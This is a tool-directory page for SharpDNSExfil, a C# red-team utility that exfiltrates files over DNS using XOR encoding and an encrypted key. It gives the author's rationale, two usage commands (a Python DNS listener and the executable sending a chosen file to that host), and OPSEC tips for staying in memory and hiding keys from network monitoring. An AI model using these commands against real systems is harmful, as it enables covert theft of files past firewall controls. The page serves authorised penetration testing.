Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
SharpDNSExfil — C# tool for exfiltrating files over DNS using XOR and asymmetric encryption, designed for red team engagements with restricted outbound connections. | Kitploit
Tools/GitHubGitHub/aniqfakhrul/sharpdnsexfil
Encryption/Decryption ToolsData ExfiltrationCommand and ControlRed TeamingDNS Analysis
GitHubaniqfakhrul/sharpdnsexfil

SharpDNSExfil

C# tool for exfiltrating files over DNS using XOR and asymmetric encryption, designed for red team engagements with restricted outbound connections.

View Repository
1324 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

SharpDNSExfil

SharpDNSExfil is an exfiltration tool written in C#. The main objective is to exfiltrate any "on disk" files without having to worry about restricted outbound connection.

Prerequisite

  • Remote machine should be able to resolve DNS

Why did I do this?

I got blind RCE during my engagement and it turns out the remote machine has firewall protection which doesn't allow outbound connection and gave me a hard time to get a reverse connection. The good thing is, the DNS server can resolve public domains and able to reach me through DNS. The thing is I still couldn't get a reverse shell, i could read some small outputs, but no bueno. So I had an idea to automate the process through just DNS and recurse all the steps, and its finally working!

CAVEAT: The whole process has just been tested through custom public DNS Server but haven't been fully tested on real corporate environment. So use at your own risk!

TL;DR: How-To

What to consider?

All exfiltrated bytes are XORed with a randomly generated key. You might think, the key will then be in plain text in network level (wireshark will do). With --encrypt option, this is where asymmetric encryption comes in place, a hard-coded public key will encrypt the XOR key. Local machine (you) wil expect an excrypted form of key, the python script will automatically decrypt the key with its hard-coeded private key. The rest of the data trasmitted will be XOR back to its original bytes. So, always change the key pairs please

Before encryptionAfter encryption

Usage

  • Setup DNS Server with dnsserver.py python script. The options are as follows
root@kitploit:~
python3 dnserver.py --udp --port 53 --host 192.168.0.102
  • Run the executable on the remote machine.
root@kitploit:~
SharpDNSExfil.exe --file C:\path\to\file --server 192.168.0.102

OPSEC Consideration

SharpDNSExfil steps and processes are to be executed all in-memory without touching the disk to avoid leaving rubbish during engagement. SharpDNSExfil will inform each and every steps or processess that it does in the background with --verbose option. Each sent bytes are XOR encoded and key will further be encryted with asymmetric encryption to avoid plain text key in network traffic. Be extra careful and always take notes and do cleanup on client's property.

Credits

  • Awesome DNSServer script by @pklaus
Download Tool